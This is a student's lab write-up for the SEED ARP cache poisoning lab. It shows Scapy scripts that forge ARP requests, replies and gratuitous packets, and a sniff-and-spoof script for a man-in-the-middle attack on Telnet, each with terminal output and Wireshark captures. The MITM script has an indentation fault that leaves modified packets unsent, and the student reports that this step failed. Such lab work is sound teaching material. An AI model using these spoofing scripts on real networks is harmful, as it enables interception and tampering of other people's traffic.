

## LAB 2: ARP Cache Poisoning Attack Lab

### Initial Setup

```
[02/08/19]seed@VM:~$ ifconfig
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:5f:2e:af
          inet addr:10.0.2.6  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::2142:7c95:5d2d:aba6/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:213 errors:0 dropped:0 overruns:0 frame:0
          TX packets:233 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:70812 (70.8 KB)  TX bytes:22866 (22.8 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:133 errors:0 dropped:0 overruns:0 frame:0
          TX packets:133 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:25871 (25.8 KB)  TX bytes:25871 (25.8 KB)
```

### **M VM (Attacker)**

```
[02/08/19]seed@VM:~$ ifconfig
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:1d:3c:a2
          inet addr:10.0.2.5  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::1b16:e46:4143:36cf/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6 errors:0 dropped:0 overruns:0 frame:0
          TX packets:58 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1626 (1.6 KB)  TX bytes:6866 (6.8 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:62 errors:0 dropped:0 overruns:0 frame:0
          TX packets:62 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:21158 (21.1 KB)  TX bytes:21158 (21.1 KB)
```

### **A VM (User)**

```
[02/08/19]seed@VM:~$ ifconfig
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:0b:86:8e
          inet addr:10.0.2.7  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a60:f6c6:9fd3:fc66/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:7 errors:0 dropped:0 overruns:0 frame:0
          TX packets:62 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1734 (1.7 KB)  TX bytes:7233 (7.2 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:63 errors:0 dropped:0 overruns:0 frame:0
          TX packets:63 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:21217 (21.2 KB)  TX bytes:21217 (21.2 KB)
```

**B VM (Server)**

**TASK 1: ARP Cache Poisoning****TASK 1A (Using Arp Request)**

```
#!/usr/bin/pythom
from scapy.all import*

E1 = Ether()
E1.dst = "08:00:27:1d:3c:a2"
A1 = ARP()
A1.hwsrc = "08:00:27:5f:2e:af"
A1.psrc = "10.0.2.7"
A1.op = 1
ls(ARP)
pkt = E1/A1

sendp(pkt)

E2 = Ether()
E2.dst = "08:00:27:0b:86:8e"
A2 = ARP()
A2.hwsrc = "08:00:27:5f:2e:af"
A2.psrc = "10.0.2.5"
A2.op = 1
ls(ARP)
pkt2 = E2/A2

sendp(pkt2)
```

Code used for the ARP request



```

[02/08/19]seed@VM:~/.../lab2$ gedit arp.py
[02/08/19]seed@VM:~/.../lab2$ sudo python arp.py
hwtype      : XShortField              = (1)
ptype       : XShortEnumField          = (2048)
hwlen       : ByteField                = (6)
plen        : ByteField                = (4)
op          : ShortEnumField           = (1)
hwsrsrc     : ARPSourceMACField        = (None)
psrc        : SourceIPField            = (None)
hwdst       : MACField                 = ('00:00:00:00:00:00')
pdst        : IPField                  = ('0.0.0.0')
.
Sent 1 packets.
hwtype      : XShortField              = (1)
ptype       : XShortEnumField          = (2048)
hwlen       : ByteField                = (6)
plen        : ByteField                = (4)
op          : ShortEnumField           = (1)
hwsrsrc     : ARPSourceMACField        = (None)
psrc        : SourceIPField            = (None)
hwdst       : MACField                 = ('00:00:00:00:00:00')
pdst        : IPField                  = ('0.0.0.0')
.
Sent 1 packets.

```

No.	Time	Source	Destination	Protocol	Leng	Info
1	2019-02-08 15:05:50.3393691	PcsCompu_5f:2e:af	PcsCompu_1d:3c:a2	ARP	42	who has 0.0.0.0? Tell 10.0.2.7
2	2019-02-08 15:05:50.3407339	PcsCompu_5f:2e:af	PcsCompu_0b:86:8e	ARP	42	who has 0.0.0.0? Tell 10.0.2.5
5	2019-02-08 15:06:48.8657522	PcsCompu_1d:3c:a2	PcsCompu_7d:72:84	ARP	60	who has 10.0.2.3? Tell 10.0.2.5 (duplicate use of 10.0...
6	2019-02-08 15:06:48.8657625	PcsCompu_7d:72:84	PcsCompu_1d:3c:a2	ARP	60	10.0.2.3 is at 08:00:27:7d:72:84 (duplicate use of 10.0...
9	2019-02-08 15:12:12.1583808	PcsCompu_5f:2e:af	PcsCompu_7d:72:84	ARP	42	who has 10.0.2.3? Tell 10.0.2.6
10	2019-02-08 15:12:12.1586109	PcsCompu_7d:72:84	PcsCompu_5f:2e:af	ARP	60	10.0.2.3 is at 08:00:27:7d:72:84
13	2019-02-08 15:12:27.6875463	PcsCompu_0b:86:8e	PcsCompu_7d:72:84	ARP	60	who has 10.0.2.3? Tell 10.0.2.7 (duplicate use of 10.0...
14	2019-02-08 15:12:27.6875528	PcsCompu_7d:72:84	PcsCompu_0b:86:8e	ARP	60	10.0.2.3 is at 08:00:27:7d:72:84 (duplicate use of 10.0...

  

▶ Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0  
 ▶ Ethernet II, Src: PcsCompu\_5f:2e:af (08:00:27:5f:2e:af), Dst: PcsCompu\_1d:3c:a2 (08:00:27:1d:3c:a2)  
 ▶ Address Resolution Protocol (request)

  

0000	08 00 27 1d 3c a2 08 00 27 5f 2e af 08 00 00 01	.....
0010	08 00 06 04 00 01 08 00 27 5f 2e af 0a 00 02 07	.....
0020	00 00 00 00 00 00 00 00 00 00	.....

On the attacker machines (M) we create an ARP request packet and send to the user i.e., host A. Then we check whether attacker machines (M) MAC address is mapped to B's IP address in A's ARP cache and we notice that through Wireshark currently the address is not been mapped.

**TASK 1B (Using ARP Reply)**

```
#!/usr/bin/pythom
from scapy.all import*

E1 = Ether()
E1.dst = "08:00:27:1d:3c:a2"
A1 = ARP()
A1.hwsrc = "08:00:27:5f:2e:af"
A1.psrc = "10.0.2.7"
A1.op = 2
ls(ARP)
pkt = E1/A1

sendp(pkt)

E2 = Ether()
E2.dst = "08:00:27:0b:86:8e"
A2 = ARP()
A2.hwsrc = "08:00:27:5f:2e:af"
A2.psrc = "10.0.2.5"
A2.op = 2
ls(ARP)
pkt2 = E2/A2

sendp(pkt2)
```

The code used for ARP reply

```

[02/08/19]seed@VM:~/.../lab2$ gedit arpt12.py
[02/08/19]seed@VM:~/.../lab2$ sudo python arpt12.py
hwtype      : XShortField              = (1)
ptype       : XShortEnumField          = (2048)
hwlen       : ByteField                = (6)
plen        : ByteField                = (4)
op          : ShortEnumField           = (1)
hwsrc       : ARPSourceMACField        = (None)
psrc        : SourceIPField            = (None)
hwdst       : MACField                 = ('00:00:00:00:00:00')
pdst        : IPField                  = ('0.0.0.0')
.
Sent 1 packets.
hwtype      : XShortField              = (1)
ptype       : XShortEnumField          = (2048)
hwlen       : ByteField                = (6)
plen        : ByteField                = (4)
op          : ShortEnumField           = (1)
hwsrc       : ARPSourceMACField        = (None)
psrc        : SourceIPField            = (None)
hwdst       : MACField                 = ('00:00:00:00:00:00')
pdst        : IPField                  = ('0.0.0.0')
.
Sent 1 packets.

```

arp						
No.	Time	Source	Destination	Protocol	Length	Info
2	2019-02-08 15:47:08.3967572...	PcsCompu_5f:2e:af	PcsCompu_0b:86:8e	ARP	42	10.0.2.5 is at 08:00:27:5f:2e:af
1	2019-02-08 15:47:08.3954196...	PcsCompu_5f:2e:af	PcsCompu_1d:3c:a2	ARP	42	10.0.2.7 is at 08:00:27:5f:2e:af

  

▶ Frame 2: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0  
 ▶ Ethernet II, Src: PcsCompu\_5f:2e:af (08:00:27:5f:2e:af), Dst: PcsCompu\_0b:86:8e (08:00:27:0b:86:8e)  
 ▶ Address Resolution Protocol (reply)

On the attacker machines (M) we create an ARP reply packet and send to the user i.e., host A. Then we check whether attacker machines (M) MAC address is mapped to Server B's IP address in A's ARP cache and we notice that through Wireshark currently the address has been mapped with B's IP.

**TASK 1C (Using ARP Gratuitous message)**

```
[02/10/19]seed@VM:~$ arp -n
Address          Hwtype  Hwaddress          Flags Mask
      Iface
10.0.2.1          ether    52:54:00:12:35:00   C
      enp0s3
[02/10/19]seed@VM:~$
```

ARP cache of machine B

```
[02/10/19]seed@VM:~$ arp -n
Address          Hwtype  Hwaddress          Flags Mask
      Iface
10.0.2.1          ether    52:54:00:12:35:00   C
      enp0s3
[02/10/19]seed@VM:~$
```

ARP cache of machine A

```
#!/usr/bin/python
from scapy.all import *

E1 = Ether()
E1.dst = "ff:ff:ff:ff:ff:ff"
A1 = ARP()
A1.hwsrc = "08:00:27:5f:2e:af"
A1.psrc = "10.0.2.7"
ls(ARP)
pkt1 = E1/A1
sendp(pkt1, count = 3)

E2 = Ether()
E2.dst = "ff:ff:ff:ff:ff:ff"
A2 = ARP()
A2.hwsrc = "08:00:27:5f:2e:af"
A2.psrc = "10.0.2.5"
ls(ARP)
pkt2 = E2/A2
sendp(pkt2, count = 3)
```

Code used.



```

[02/10/19]seed@VM:~/.../lab2$ gedit arptc.py
[02/10/19]seed@VM:~/.../lab2$ sudo python arptc.py
hwtype      : XShortField              = (1)
ptype       : XShortEnumField          = (2048)
hwlen       : ByteField                 = (6)
plen        : ByteField                 = (4)
op          : ShortEnumField            = (1)
hwsrc       : ARPSourceMACField         = (None)
psrc        : SourceIPField             = (None)
hwdst       : MACField                  = ('00:00:00:00:00:00')
pdst        : IPField                   = ('0.0.0.0')
...
Sent 3 packets.
hwtype      : XShortField              = (1)
ptype       : XShortEnumField          = (2048)
hwlen       : ByteField                 = (6)
plen        : ByteField                 = (4)
op          : ShortEnumField            = (1)
hwsrc       : ARPSourceMACField         = (None)
psrc        : SourceIPField             = (None)
hwdst       : MACField                  = ('00:00:00:00:00:00')
pdst        : IPField                   = ('0.0.0.0')
...
Sent 3 packets.
[02/10/19]seed@VM:~/.../lab2$ █

```

We run the python code

```

[02/10/19]seed@VM:~$ arp -n
Address      HWtype  HWaddress      Flags Mask
  Iface
10.0.2.1     ether   52:54:00:12:35:00  C
  enp0s3
10.0.2.3     ether   08:00:27:42:2d:0b  C
  enp0s3

```

ARP cache after the attack in Machine A

```

[02/10/19]seed@VM:~$ arp -n
Address      HWtype  HWaddress      Flags Mask
  Iface
10.0.2.3     ether   08:00:27:42:2d:0b  C
  enp0s3
10.0.2.1     ether   52:54:00:12:35:00  C
  enp0s3

```

ARP cache after the attack in Machine B



No.	Time	Source	Destination	Protocol	Length	Info
1	2019-02-10 19:02:34.1993940	PcsCompu_5f:2e:af	Broadcast	ARP	42	Who has 0.0.0.0? Tell 10.0.2.7
2	2019-02-10 19:02:34.2001269	PcsCompu_5f:2e:af	Broadcast	ARP	42	Who has 0.0.0.0? Tell 10.0.2.7
3	2019-02-10 19:02:34.2005810	PcsCompu_5f:2e:af	Broadcast	ARP	42	Who has 0.0.0.0? Tell 10.0.2.7
4	2019-02-10 19:02:34.2019054	PcsCompu_5f:2e:af	Broadcast	ARP	42	Who has 0.0.0.0? Tell 10.0.2.5
5	2019-02-10 19:02:34.2023931	PcsCompu_5f:2e:af	Broadcast	ARP	42	Who has 0.0.0.0? Tell 10.0.2.5
6	2019-02-10 19:02:34.2028564	PcsCompu_5f:2e:af	Broadcast	ARP	42	Who has 0.0.0.0? Tell 10.0.2.5
7	2019-02-10 19:02:49.1976290	PcsCompu_1d:3c:a2	Broadcast	ARP	60	Who has 10.0.2.3? Tell 10.0.2.5 (duplicate use of 10.0...
8	2019-02-10 19:02:49.1976451	PcsCompu_42:2d:0b	PcsCompu_1d:3c:a2	ARP	60	10.0.2.3 is at 08:00:27:42:2d:0b (duplicate use of 10.0...
11	2019-02-10 19:02:51.0668056	PcsCompu_0b:86:8e	Broadcast	ARP	60	Who has 10.0.2.3? Tell 10.0.2.7 (duplicate use of 10.0...
12	2019-02-10 19:02:51.0668247	PcsCompu_42:2d:0b	PcsCompu_0b:86:8e	ARP	60	10.0.2.3 is at 08:00:27:42:2d:0b (duplicate use of 10.0...

On host M we construct an ARP gratuitous packets. ARP gratuitous packet is a special ARP request packet. It is used when a host machine needs to update outdated information on all the other machine's ARP cache.

## **TASK 2: MITM Attack on Telnet using ARP Cache Poisoning**

```
[02/10/19]seed@VM:~$ arp -n
Address                  HWtype  HWaddress           Flags Mask
      Iface
10.0.2.1                  ether    52:54:00:12:35:00    C
      enp0s3
[02/10/19]seed@VM:~$
```

We check the ARP cache

```
[02/10/19]seed@VM:~$ ping 10.0.2.6
PING 10.0.2.6 (10.0.2.6) 56(84) bytes of data.
64 bytes from 10.0.2.6: icmp_seq=1 ttl=64 time=0.989 ms
64 bytes from 10.0.2.6: icmp_seq=2 ttl=64 time=0.784 ms
64 bytes from 10.0.2.6: icmp_seq=3 ttl=64 time=1.04 ms
^C
--- 10.0.2.6 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 0.784/0.938/1.041/0.110 ms
[02/10/19]seed@VM:~$
```

Do the ping test

```

[02/10/19]seed@VM:~$ cd Desktop/labs/lab2/
[02/10/19]seed@VM:~/.../lab2$ sudo sysctl net.ipv4.ip_forward=1
[sudo] password for seed:
net.ipv4.ip_forward = 1
[02/10/19]seed@VM:~/.../lab2$ sudo python arpt12.py
hwtype      : XShortField              = (1)
ptype       : XShortEnumField          = (2048)
hwlen       : ByteField                 = (6)
plen        : ByteField                 = (4)
op          : ShortEnumField            = (1)
hwsrc       : ARPSourceMACField         = (None)
psrc        : SourceIPField             = (None)
hwdst       : MACField                  = ('00:00:00:00:00:00')
pdst        : IPField                   = ('0.0.0.0')
.
Sent 1 packets.
hwtype      : XShortField              = (1)
ptype       : XShortEnumField          = (2048)
hwlen       : ByteField                 = (6)
plen        : ByteField                 = (4)
op          : ShortEnumField            = (1)
hwsrc       : ARPSourceMACField         = (None)
psrc        : SourceIPField             = (None)
hwdst       : MACField                  = ('00:00:00:00:00:00')
pdst        : IPField                   = ('0.0.0.0')
.
Sent 1 packets.
[02/10/19]seed@VM:~/.../lab2$ █

```

Turn on the IP forwarding and do the ARP cache poisoning attack from task 1.

No.	Time	Source	Destination	Protocol	Length	Info
1	2019-02-10 19:41:25.8784016...	PcsCompu_1d:3c:a2	Broadcast	ARP	60	who has 10.0.2.3? Tell 10.0.2.5
2	2019-02-10 19:41:25.8784161...	PcsCompu_42:2d:0b	PcsCompu_1d:3c:a2	ARP	60	10.0.2.3 is at 08:00:27:42:2d:0b
5	2019-02-10 19:41:28.1555209...	PcsCompu_5f:2e:af	PcsCompu_1d:3c:a2	ARP	42	10.0.2.7 is at 08:00:27:5f:2e:af
6	2019-02-10 19:41:28.1569775...	PcsCompu_5f:2e:af	PcsCompu_0b:86:8e	ARP	42	10.0.2.5 is at 08:00:27:5f:2e:af (duplicate use of 10.0...

```

[02/10/19]seed@VM:~$ arp -n
Address          Hwtype  Hwaddress      Flags Mask
      Iface
10.0.2.6          ether   08:00:27:5f:2e:af  C
      enp0s3
10.0.2.3          ether   08:00:27:42:2d:0b  C
      enp0s3
10.0.2.1          ether   52:54:00:12:35:00  C
      enp0s3
[02/10/19]seed@VM:~$ █

```

Check ARP cache and see the attacker MAC address has been mapped

```
[02/10/19]seed@VM:~/.../lab2$ sudo sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
[02/10/19]seed@VM:~/.../lab2$ sudo python arpt12.py
hwtype      : XShortField          = (1)
ptype       : XShortEnumField      = (2048)
hwlen       : ByteField            = (6)
plen        : ByteField            = (4)
op          : ShortEnumField       = (1)
hwsrc       : ARPSourceMACField    = (None)
psrc        : SourceIPField        = (None)
hwdst       : MACField             = ('00:00:00:00:00:00')
pdst        : IPField              = ('0.0.0.0')
...
Sent 3 packets.
hwtype      : XShortField          = (1)
ptype       : XShortEnumField      = (2048)
hwlen       : ByteField            = (6)
plen        : ByteField            = (4)
op          : ShortEnumField       = (1)
hwsrc       : ARPSourceMACField    = (None)
psrc        : SourceIPField        = (None)
hwdst       : MACField             = ('00:00:00:00:00:00')
pdst        : IPField              = ('0.0.0.0')
...
Sent 3 packets.
[02/10/19]seed@VM:~/.../lab2$
```

We turn off the IP forwarding and again run the ARP cache poisoning attack from task 1.

```
[02/10/19]seed@VM:~$ ping 10.0.2.7
PING 10.0.2.7 (10.0.2.7) 56(84) bytes of data.
```

We try to ping to the server machine and notice that the ping does not work.



Apply a display filter ... <Ctrl-/> Expression...

	Source	Destination	Protocol	Length	Info
506334...	10.0.2.5	10.0.2.7	ICMP	98	Echo (ping) request
749195...	10.0.2.5	10.0.2.7	ICMP	98	Echo (ping) request
987830...	10.0.2.5	10.0.2.7	ICMP	98	Echo (ping) request
225372...	10.0.2.5	10.0.2.7	ICMP	98	Echo (ping) request
472456...	10.0.2.5	10.0.2.7	ICMP	98	Echo (ping) request
706865...	10.0.2.5	10.0.2.7	ICMP	98	Echo (ping) request
950326...	10.0.2.5	10.0.2.7	ICMP	98	Echo (ping) request
191591...	10.0.2.5	10.0.2.7	ICMP	98	Echo (ping) request

▶ Frame 1: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface  
 ▼ Ethernet II, Src: PcsCompu\_1d:3c:a2 (08:00:27:1d:3c:a2), Dst: PcsCompu\_5f:2e:af (08:00:27:5f:2e:af)  
 ▶ Destination: PcsCompu\_5f:2e:af (08:00:27:5f:2e:af)  
 ▶ Source: PcsCompu\_1d:3c:a2 (08:00:27:1d:3c:a2)  
 Type: IPv4 (0x0800)  
 ▶ Internet Protocol Version 4, Src: 10.0.2.5, Dst: 10.0.2.7  
 ▶ Internet Control Message Protocol

0000 08 00 27 5f 2e af 08 00 27 1d 3c a2 08 00 45 00 ..'\_.....'.<...E.  
 0010 00 54 94 ea 40 00 40 01 8d b3 0a 00 02 05 0a 00 .T..@.@. ....  
 0020 02 07 08 00 57 a6 0a 50 00 1c 97 c8 60 5c b2 c5 ...W..P .....\  
 0030 00 00 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 .....  
 0040 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 ..... !"#\$\$%  
 0050 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 &'()\*+,-./012345

Here in the above screenshot we can see that the attackers MAC address has been mapped.

```
#!/usr/bin/python
from scapy.all import *

def spoof_pkt(pkt):
    if pkt[IP].src == "10.0.2.5" and pkt[IP].dst == "10.0.2.7":
        IPlayer=IP(src=pkt[IP].src, dst=pkt[IP].dst)
        TCPlayer=TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags=pkt[TCP].flags, seq=pkt[TCP].seq, ack=pkt[TCP].ack)

        if str(pkt[TCP].payload).isalpha():
            Data = 'Z'
            newpkt = IPlayer/TCPlayer/Data
        else:
            newpkt = pkt[IP]
            send(newpkt)

    elif pkt[IP].src == "10.0.2.7" and pkt[IP].dst == "10.0.2.5":
        newpkt = pkt[IP]
        send(newpkt)

pkt = sniff(filter='tcp and (ether src 08:00:27:1d:3c:a2 or ether src 08:00:27:0b:86:8e)', prn=spoof_pkt)
```

MITM spoof code is shown above



```
[02/10/19]seed@VM:~/.../lab2$ sudo sysctl net.ipv4.ip_forward=1
net.ipv4.ip forward = 1
```

We again turn on the IP forwarding

```
[02/10/19]seed@VM:~$ telnet 10.0.2.7
Trying 10.0.2.7...
Connected to 10.0.2.7.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Sun Feb 10 20:04:49 EST 2019 from 10.0.2.5 on pts/4
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

3 packages can be updated.
0 updates are security updates.

[02/10/19]seed@VM:~$ ifconfig
enp0s3      Link encap:Ethernet  HWaddr 08:00:27:0b:86:8e
            inet addr:10.0.2.7  Bcast:10.0.2.255  Mask:255.255.255.0
            inet6 addr: fe80::a60:f6c6:9fd3:fc66/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
```

```
[02/10/19]seed@VM:~$ ifconfig
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:0b:86:8e
          inet addr:10.0.2.7  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a60:f6c6:9fd3:fc66/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:675 errors:0 dropped:0 overruns:0 frame:0
          TX packets:494 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:78692 (78.6 KB)  TX bytes:48999 (48.9 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:418 errors:0 dropped:0 overruns:0 frame:0
          TX packets:418 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:84267 (84.2 KB)  TX bytes:84267 (84.2 KB)

[02/10/19]seed@VM:~$ dfg
```

Then we telnet from the user machine to the server machine. A to B. And then type initially some random value before we do the attack.

```

[02/10/19]seed@VM:~/.../lab2$ sudo sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
[02/10/19]seed@VM:~/.../lab2$ sudo python arpt12.py
hwtype      : XShortField          = (1)
ptype       : XShortEnumField      = (2048)
hwlen       : ByteField            = (6)
plen        : ByteField            = (4)
op          : ShortEnumField       = (1)
hwsrc       : ARPSourceMACField    = (None)
psrc        : SourceIPField        = (None)
hwdst       : MACField             = ('00:00:00:00:00:00')
pdst        : IPField              = ('0.0.0.0')
...
Sent 3 packets.
hwtype      : XShortField          = (1)
ptype       : XShortEnumField      = (2048)
hwlen       : ByteField            = (6)
plen        : ByteField            = (4)
op          : ShortEnumField       = (1)
hwsrc       : ARPSourceMACField    = (None)
psrc        : SourceIPField        = (None)
hwdst       : MACField             = ('00:00:00:00:00:00')
pdst        : IPField              = ('0.0.0.0')
...
Sent 3 packets.
[02/10/19]seed@VM:~/.../lab2$ █

```

Then we turn off the IP forwarding and run the ARP cache poisoning attack code from task 1 on the attacker machine M

```

[02/10/19]seed@VM:~/.../lab2$ sudo python mitm.py
█

```

Simultaneously we run the spoof code.

When we type on the telnet server screen every alphabet should turn to Z. But when I ran the code, I was not able to capture the alphabets to Z but I was not even able to type anything at all. Hence, I turned on the IP forwarding to check if something is happening and I got the below observation.

```

[02/10/19]seed@VM:~$ dfgqwerqwerty █

```